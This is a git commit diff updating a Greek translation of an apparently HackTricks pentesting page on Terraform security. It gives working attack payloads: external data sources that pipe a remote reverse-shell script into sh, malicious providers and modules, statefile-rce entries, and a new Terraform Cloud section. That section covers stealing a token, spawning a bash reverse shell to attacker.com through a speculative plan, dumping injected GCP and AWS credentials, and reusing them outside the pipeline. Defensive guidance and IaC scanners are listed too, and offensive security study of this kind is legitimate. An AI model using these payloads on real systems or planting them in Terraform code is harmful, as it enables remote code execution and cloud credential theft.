Translated ['src/pentesting-ci-cd/terraform-security.md'] to el

This commit is contained in:
Translator
2025-08-19 15:36:58 +00:00
parent b494ea6b03
commit 27787e876a

View File

@@ -10,7 +10,7 @@ HashiCorp Terraform είναι ένα **εργαλείο υποδομής ως
#### Πώς λειτουργεί το Terraform;
Το Terraform δημιουργεί και διαχειρίζεται πόρους σε πλατφόρμες cloud και άλλες υπηρεσίες μέσω των διεπαφών προγραμματισμού εφαρμογών (APIs) τους. Οι πάροχοι επιτρέπουν στο Terraform να λειτουργεί με σχεδόν οποιαδήποτε πλατφόρμα ή υπηρεσία με προσβάσιμη API.
Το Terraform δημιουργεί και διαχειρίζεται πόρους σε πλατφόρμες cloud και άλλες υπηρεσίες μέσω των διεπαφών προγραμματισμού εφαρμογών τους (APIs). Οι πάροχοι επιτρέπουν στο Terraform να λειτουργεί με σχεδόν οποιαδήποτε πλατφόρμα ή υπηρεσία με προσβάσιμη API.
![](<../images/image (177).png>)
@@ -18,7 +18,7 @@ HashiCorp Terraform είναι ένα **εργαλείο υποδομής ως
Η βασική ροή εργασίας του Terraform αποτελείται από τρία στάδια:
- **Γράψτε:** Ορίζετε πόρους, οι οποίοι μπορεί να είναι σε πολλούς παρόχους cloud και υπηρεσίες. Για παράδειγμα, μπορεί να δημιουργήσετε μια διαμόρφωση για να αναπτύξετε μια εφαρμογή σε εικονικές μηχανές σε ένα δίκτυο Virtual Private Cloud (VPC) με ομάδες ασφαλείας και έναν ελεγκτή φόρτου.
- **Γράψτε:** Ορίζετε πόρους, οι οποίοι μπορεί να είναι σε πολλούς παρόχους cloud και υπηρεσίες. Για παράδειγμα, μπορεί να δημιουργήσετε μια διαμόρφωση για να αναπτύξετε μια εφαρμογή σε εικονικές μηχανές σε ένα δίκτυο Virtual Private Cloud (VPC) με ομάδες ασφαλείας και έναν ελεγκτή φορτίου.
- **Σχέδιο:** Το Terraform δημιουργεί ένα σχέδιο εκτέλεσης που περιγράφει την υποδομή που θα δημιουργήσει, θα ενημερώσει ή θα καταστρέψει με βάση την υπάρχουσα υποδομή και τη διαμόρφωσή σας.
- **Εφαρμογή:** Με την έγκριση, το Terraform εκτελεί τις προτεινόμενες ενέργειες με τη σωστή σειρά, σεβόμενο οποιεσδήποτε εξαρτήσεις πόρων. Για παράδειγμα, αν ενημερώσετε τις ιδιότητες ενός VPC και αλλάξετε τον αριθμό των εικονικών μηχανών σε αυτό το VPC, το Terraform θα αναδημιουργήσει το VPC πριν κλιμακώσει τις εικονικές μηχανές.
@@ -34,9 +34,9 @@ HashiCorp Terraform είναι ένα **εργαλείο υποδομής ως
Το Terraform **δεν έχει μια πλατφόρμα που να εκθέτει μια ιστοσελίδα ή μια υπηρεσία δικτύου** που μπορούμε να καταγράψουμε, επομένως, ο μόνος τρόπος για να συμβιβαστεί το terraform είναι να **μπορείτε να προσθέσετε/τροποποιήσετε αρχεία διαμόρφωσης του terraform** ή να **μπορείτε να τροποποιήσετε το αρχείο κατάστασης του terraform** (βλ. κεφάλαιο παρακάτω).
Ωστόσο, το terraform είναι ένα **πολύ ευαίσθητο συστατικό** για να συμβιβαστεί επειδή θα έχει **προνομιακή πρόσβαση** σε διάφορες τοποθεσίες ώστε να μπορεί να λειτουργεί σωστά.
Ωστόσο, το terraform είναι ένα **πολύ ευαίσθητο συστατικό** για να συμβιβαστεί, διότι θα έχει **προνομιακή πρόσβαση** σε διάφορες τοποθεσίες ώστε να μπορεί να λειτουργεί σωστά.
Ο κύριος τρόπος για έναν επιτιθέμενο να μπορέσει να συμβιβάσει το σύστημα όπου εκτελείται το terraform είναι να **συμβιβάσει το αποθετήριο που αποθηκεύει τις διαμορφώσεις του terraform**, επειδή σε κάποιο σημείο θα **ερμηνευτούν**.
Ο κύριος τρόπος για έναν επιτιθέμενο να μπορέσει να συμβιβάσει το σύστημα όπου εκτελείται το terraform είναι να **συμβιβάσει το αποθετήριο που αποθηκεύει τις διαμορφώσεις του terraform**, διότι σε κάποιο σημείο θα **ερμηνευτούν**.
Στην πραγματικότητα, υπάρχουν λύσεις εκεί έξω που **εκτελούν το terraform plan/apply αυτόματα μετά τη δημιουργία ενός PR**, όπως το **Atlantis**:
@@ -44,7 +44,7 @@ HashiCorp Terraform είναι ένα **εργαλείο υποδομής ως
atlantis-security.md
{{#endref}}
Αν μπορείτε να συμβιβάσετε ένα αρχείο terraform, υπάρχουν διάφοροι τρόποι να εκτελέσετε RCE όταν κάποιος εκτελεί `terraform plan` ή `terraform apply`.
Εάν μπορείτε να συμβιβάσετε ένα αρχείο terraform, υπάρχουν διάφοροι τρόποι που μπορείτε να εκτελέσετε RCE όταν κάποιος εκτελεί `terraform plan` ή `terraform apply`.
### Terraform plan
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Χρησιμοποιώντας έναν προσαρμοσμένο πάροχο**
Ένας επιτιθέμενος θα μπορούσε να στείλει έναν [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) στο [Terraform Registry](https://registry.terraform.io/) και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα feature branch ([παράδειγμα από εδώ](https://alex.kaskaso.li/post/terraform-plan-rce)):
Ένας επιτιθέμενος θα μπορούσε να στείλει έναν [προσαρμοσμένο πάροχο](https://learn.hashicorp.com/tutorials/terraform/provider-setup) στο [Terraform Registry](https://registry.terraform.io/) και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα feature branch ([παράδειγμα από εδώ](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -81,7 +81,7 @@ provider "evil" {}
**Χρησιμοποιώντας μια εξωτερική αναφορά**
Και οι δύο αναφερόμενες επιλογές είναι χρήσιμες αλλά όχι πολύ κρυφές (η δεύτερη είναι πιο κρυφή αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με **πιο κρυφό τρόπο**, ακολουθώντας αυτές τις προτάσεις:
Και οι δύο αναφερόμενες επιλογές είναι χρήσιμες αλλά όχι πολύ διακριτικές (η δεύτερη είναι πιο διακριτική αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με **πιο διακριτικό τρόπο**, ακολουθώντας αυτές τις προτάσεις:
- Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να **φορτώσετε έναν εξωτερικό πόρο** που περιέχει το rev shell:
```javascript
@@ -95,7 +95,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
### Terraform Apply
Το Terraform apply θα εκτελεστεί για να εφαρμοστούν όλες οι αλλαγές, μπορείτε επίσης να το εκμεταλλευτείτε για να αποκτήσετε RCE εισάγοντας **ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Το Terraform apply θα εκτελεστεί για να εφαρμόσει όλες τις αλλαγές, μπορείτε επίσης να το εκμεταλλευτείτε για να αποκτήσετε RCE εισάγοντας **ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Απλά πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο `main.tf`:
```json
// Payload 1 to just steal a secret
@@ -130,9 +130,9 @@ value = nonsensitive(var.do_token)
Είναι δυνατόν να [δημιουργήσετε έναν προσαρμοσμένο πάροχο](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) και απλώς να αντικαταστήσετε έναν από τους παρόχους στο αρχείο κατάστασης terraform με τον κακόβουλο ή να προσθέσετε μια ψεύτικη πόρο που αναφέρεται στον κακόβουλο πάροχο.
Ο πάροχος [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) βασίζεται στην έρευνα και οπλίζει αυτή την αρχή. Μπορείτε να προσθέσετε μια ψεύτικη πόρο και να δηλώσετε την αυθαίρετη εντολή bash που θέλετε να εκτελέσετε στο χαρακτηριστικό `command`. Όταν ενεργοποιηθεί η εκτέλεση του `terraform`, αυτό θα διαβαστεί και θα εκτελεστεί τόσο στα βήματα `terraform plan` όσο και `terraform apply`. Σε περίπτωση του βήματος `terraform apply`, το `terraform` θα διαγράψει την ψεύτικη πόρο από το αρχείο κατάστασης μετά την εκτέλεση της εντολής σας, καθαρίζοντας μετά από τον εαυτό του. Περισσότερες πληροφορίες και μια πλήρη επίδειξη μπορείτε να βρείτε στο [GitHub repository που φιλοξενεί τον πηγαίο κώδικα για αυτόν τον πάροχο](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Ο πάροχος [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) βασίζεται στην έρευνα και οπλίζει αυτή την αρχή. Μπορείτε να προσθέσετε μια ψεύτικη πόρο και να δηλώσετε την αυθαίρετη εντολή bash που θέλετε να εκτελέσετε στην ιδιότητα `command`. Όταν ενεργοποιηθεί η εκτέλεση του `terraform`, αυτό θα διαβαστεί και θα εκτελεστεί τόσο στα βήματα `terraform plan` όσο και `terraform apply`. Σε περίπτωση του βήματος `terraform apply`, το `terraform` θα διαγράψει την ψεύτικη πόρο από το αρχείο κατάστασης μετά την εκτέλεση της εντολής σας, καθαρίζοντας μετά από τον εαυτό του. Περισσότερες πληροφορίες και μια πλήρη επίδειξη μπορείτε να βρείτε στο [GitHub repository που φιλοξενεί τον πηγαίο κώδικα για αυτόν τον πάροχο](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Για να το χρησιμοποιήσετε άμεσα, απλώς συμπεριλάβετε τα παρακάτω σε οποιαδήποτε θέση του πίνακα `resources` και προσαρμόστε τα χαρακτηριστικά `name` και `command`:
Για να το χρησιμοποιήσετε άμεσα, απλώς συμπεριλάβετε τα παρακάτω σε οποιαδήποτε θέση του πίνακα `resources` και προσαρμόστε τις ιδιότητες `name` και `command`:
```json
{
"mode": "managed",
@@ -176,7 +176,7 @@ value = nonsensitive(var.do_token)
]
},
```
2. **Τροποποιήστε τον πόρο για να διαγραφεί με τρόπο που να μην είναι δυνατή η ενημέρωση (έτσι ώστε να διαγραφεί και να αναδημιουργηθεί)**
2. **Τροποποιήστε τον πόρο για να διαγραφεί με τρόπο που να μην είναι δυνατή η ενημέρωση (έτσι θα διαγραφεί και θα αναδημιουργηθεί)**
Για μια EC2 instance, η τροποποίηση του τύπου της instance είναι αρκετή για να κάνει το terraform να διαγράψει και να την αναδημιουργήσει.
@@ -199,16 +199,89 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Αυτόματοι Εργαλειοθήκες Ελέγχου
## Terraform Cloud speculative plan RCE and credential exfiltration
Αυτό το σενάριο εκμεταλλεύεται τους εκτελεστές του Terraform Cloud (TFC) κατά τη διάρκεια των υποθετικών σχεδίων για να μεταβεί στον στοχοθετημένο λογαριασμό cloud.
- Προϋποθέσεις:
- Κλέψτε ένα token του Terraform Cloud από μια μηχανή προγραμματιστή. Το CLI αποθηκεύει τα tokens σε απλό κείμενο στο `~/.terraform.d/credentials.tfrc.json`.
- Το token πρέπει να έχει πρόσβαση στην στοχοθετημένη οργάνωση/εργαστήριο και τουλάχιστον την άδεια `plan`. Οι εργασίες που υποστηρίζονται από VCS αποκλείουν το `apply` από το CLI, αλλά επιτρέπουν ακόμα τα υποθετικά σχέδια.
- Ανακαλύψτε τις ρυθμίσεις εργαστηρίου και VCS μέσω του API του TFC:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Ενεργοποιήστε την εκτέλεση κώδικα κατά τη διάρκεια ενός υποθετικού σχεδίου χρησιμοποιώντας την εξωτερική πηγή δεδομένων και το "cloud" block του Terraform Cloud για να στοχεύσετε τον χώρο εργασίας που υποστηρίζεται από VCS:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Παράδειγμα rsync.sh για να αποκτήσετε ένα αντίστροφο shell στον TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Εκτελέστε ένα υποθετικό σχέδιο για να εκτελέσετε το πρόγραμμα στον προσωρινό εκτελεστή:
```bash
terraform init
terraform plan
```
- Καταγράψτε και εξάγετε τα εισαγόμενα διαπιστευτήρια cloud από τον runner. Κατά τη διάρκεια των εκτελέσεων, το TFC εισάγει διαπιστευτήρια παρόχου μέσω αρχείων και μεταβλητών περιβάλλοντος:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Αναμενόμενα αρχεία στον κατάλογο εργασίας του runner:
- GCP:
- `tfc-google-application-credentials` (JSON ρύθμιση παραμέτρων Ομοσπονδίας Ταυτότητας Φορτίου)
- `tfc-gcp-token` (βραχυχρόνιο διακριτικό πρόσβασης GCP)
- AWS:
- `tfc-aws-shared-config` (ρύθμιση παραμέτρων υποθέσεων ρόλου διαδικτυακής ταυτότητας/OIDC)
- `tfc-aws-token` (βραχυχρόνιο διακριτικό; ορισμένοι οργανισμοί μπορεί να χρησιμοποιούν στατικά κλειδιά)
- Χρησιμοποιήστε τα βραχυχρόνια διαπιστευτήρια εκτός ζώνης για να παρακάμψετε τις πύλες VCS:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Με αυτά τα διαπιστευτήρια, οι επιτιθέμενοι μπορούν να δημιουργήσουν/τροποποιήσουν/καταστρέψουν πόρους απευθείας χρησιμοποιώντας εγγενή CLIs, παρακάμπτοντας τις ροές εργασίας που βασίζονται σε PR που μπλοκάρουν το `apply` μέσω VCS.
- Καθοδήγηση άμυνας:
- Εφαρμόστε την ελάχιστη εξουσία στους χρήστες/ομάδες TFC και τα tokens. Ελέγξτε τα μέλη και αποφύγετε τους υπερβολικά μεγάλους ιδιοκτήτες.
- Περιορίστε την άδεια `plan` σε ευαίσθητους χώρους εργασίας που υποστηρίζονται από VCS όπου είναι εφικτό.
- Επιβάλετε λίστες επιτρεπόμενων παρόχων/πηγών δεδομένων με πολιτικές Sentinel για να μπλοκάρετε τους `data "external"` ή άγνωστους παρόχους. Δείτε τις οδηγίες της HashiCorp σχετικά με την φιλτράρισμα παρόχων.
- Προτιμήστε OIDC/WIF αντί για στατικά διαπιστευτήρια cloud; θεωρήστε τους runners ως ευαίσθητους. Παρακολουθήστε τις υποθετικές εκτελέσεις σχεδίων και την απροσδόκητη έξοδο.
- Ανιχνεύστε την εξαγωγή των `tfc-*` διαπιστευτηρίων και ειδοποιήστε για ύποπτη χρήση προγραμμάτων `external` κατά τη διάρκεια των σχεδίων.
## Αυτόματα Εργαλεία Ελέγχου
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk προσφέρει μια ολοκληρωμένη λύση σάρωσης Infrastructure as Code (IaC) που ανιχνεύει ευπάθειες και κακές ρυθμίσεις σε Terraform, CloudFormation, Kubernetes και άλλες μορφές IaC.
Η Snyk προσφέρει μια ολοκληρωμένη λύση σάρωσης Infrastructure as Code (IaC) που ανιχνεύει ευπάθειες και κακές ρυθμίσεις σε Terraform, CloudFormation, Kubernetes και άλλες μορφές IaC.
- **Χαρακτηριστικά:**
- Σάρωση σε πραγματικό χρόνο για ευπάθειες ασφαλείας και ζητήματα συμμόρφωσης.
- Ενσωμάτωση με συστήματα ελέγχου εκδόσεων (GitHub, GitLab, Bitbucket).
- Αυτοματοποιημένα αιτήματα έλξης διορθώσεων.
- Αυτοματοποιημένα pull requests διόρθωσης.
- Λεπτομερείς συμβουλές αποκατάστασης.
- **Εγγραφή:** Δημιουργήστε έναν λογαριασμό στο [Snyk](https://snyk.io/).
```bash
@@ -221,7 +294,7 @@ snyk iac test /path/to/terraform/code
**Checkov** είναι ένα εργαλείο στατικής ανάλυσης κώδικα για υποδομές ως κώδικα (IaC) και επίσης ένα εργαλείο ανάλυσης σύνθεσης λογισμικού (SCA) για εικόνες και πακέτα ανοιχτού κώδικα.
Σαρώσει την υποδομή cloud που παρέχεται χρησιμοποιώντας [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ή [OpenTofu](https://opentofu.org/) και ανιχνεύει παραβιάσεις ασφάλειας και συμμόρφωσης χρησιμοποιώντας σάρωση βασισμένη σε γραφήματα.
Σαρώσει την υποδομή cloud που παρέχεται χρησιμοποιώντας [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ή [OpenTofu](https://opentofu.org/) και ανιχνεύει παραβιάσεις ασφάλειας και συμμόρφωσης χρησιμοποιώντας σάρωση βασισμένη σε γράφους.
Εκτελεί [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) που είναι μια σάρωση ανοιχτών πακέτων και εικόνων για Κοινές Ευπάθειες και Εκθέσεις (CVEs).
```bash
@@ -232,12 +305,12 @@ checkov -d /path/to/folder
Από τα [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` είναι ένα ελαφρύ, επικεντρωμένο στην ασφάλεια και τη συμμόρφωση πλαίσιο δοκιμών κατά του terraform για να επιτρέψει τη δυνατότητα αρνητικής δοκιμής για την υποδομή σας ως κώδικα.
- **compliance:** Διασφαλίστε ότι ο υλοποιημένος κώδικας ακολουθεί τα πρότυπα ασφαλείας, τα δικά σας προσαρμοσμένα πρότυπα
- **behaviour driven development:** Έχουμε BDD για σχεδόν τα πάντα, γιατί όχι για IaC;
- **portable:** απλά εγκαταστήστε το από το `pip` ή εκτελέστε το μέσω `docker`. Δείτε [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** επικυρώνει τον κώδικά σας πριν αναπτυχθεί
- **easy to integrate:** μπορεί να εκτελείται στη ροή εργασιών σας (ή σε git hooks) για να διασφαλίσει ότι όλες οι αναπτύξεις είναι επικυρωμένες.
- **segregation of duty:** μπορείτε να διατηρήσετε τις δοκιμές σας σε ένα διαφορετικό αποθετήριο όπου μια ξεχωριστή ομάδα είναι υπεύθυνη.
- **συμμόρφωση:** Διασφαλίστε ότι ο υλοποιημένος κώδικας ακολουθεί τα πρότυπα ασφαλείας, τα δικά σας προσαρμοσμένα πρότυπα
- **ανάπτυξη με βάση τη συμπεριφορά:** Έχουμε BDD για σχεδόν τα πάντα, γιατί όχι για IaC;
- **φορητό:** απλά εγκαταστήστε το από το `pip` ή εκτελέστε το μέσω `docker`. Δείτε [Εγκατάσταση](https://terraform-compliance.com/pages/installation/)
- **προ-ανάπτυξη:** επικυρώνει τον κώδικά σας πριν αναπτυχθεί
- **εύκολη ενσωμάτωση:** μπορεί να εκτελείται στη ροή σας (ή σε git hooks) για να διασφαλίσει ότι όλες οι αναπτύξεις είναι επικυρωμένες.
- **διαχωρισμός καθηκόντων:** μπορείτε να διατηρήσετε τις δοκιμές σας σε ένα διαφορετικό αποθετήριο όπου μια ξεχωριστή ομάδα είναι υπεύθυνη.
> [!NOTE]
> Δυστυχώς, αν ο κώδικας χρησιμοποιεί κάποιους παρόχους στους οποίους δεν έχετε πρόσβαση, δεν θα μπορείτε να εκτελέσετε το `terraform plan` και να τρέξετε αυτό το εργαλείο.
@@ -248,9 +321,9 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Από τα [**docs**](https://github.com/aquasecurity/tfsec): το tfsec χρησιμοποιεί στατική ανάλυση του κώδικα terraform σας για να εντοπίσει πιθανές κακοδιαμορφώσεις.
Από τα [**docs**](https://github.com/aquasecurity/tfsec): το tfsec χρησιμοποιεί στατική ανάλυση του κώδικα terraform σας για να εντοπίσει πιθανές κακές ρυθμίσεις.
- ☁️ Ελέγχει για κακοδιαμορφώσεις σε όλους τους κύριους (και μερικούς δευτερεύοντες) παρόχους cloud
- ☁️ Ελέγχει για κακές ρυθμίσεις σε όλους τους κύριους (και μερικούς δευτερεύοντες) παρόχους cloud
- ⛔ Εκατοντάδες ενσωματωμένοι κανόνες
- 🪆 Σαρώσεις μονάδων (τοπικών και απομακρυσμένων)
- Αξιολογεί εκφράσεις HCL καθώς και κυριολεκτικές τιμές
@@ -292,5 +365,13 @@ brew install terrascan
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}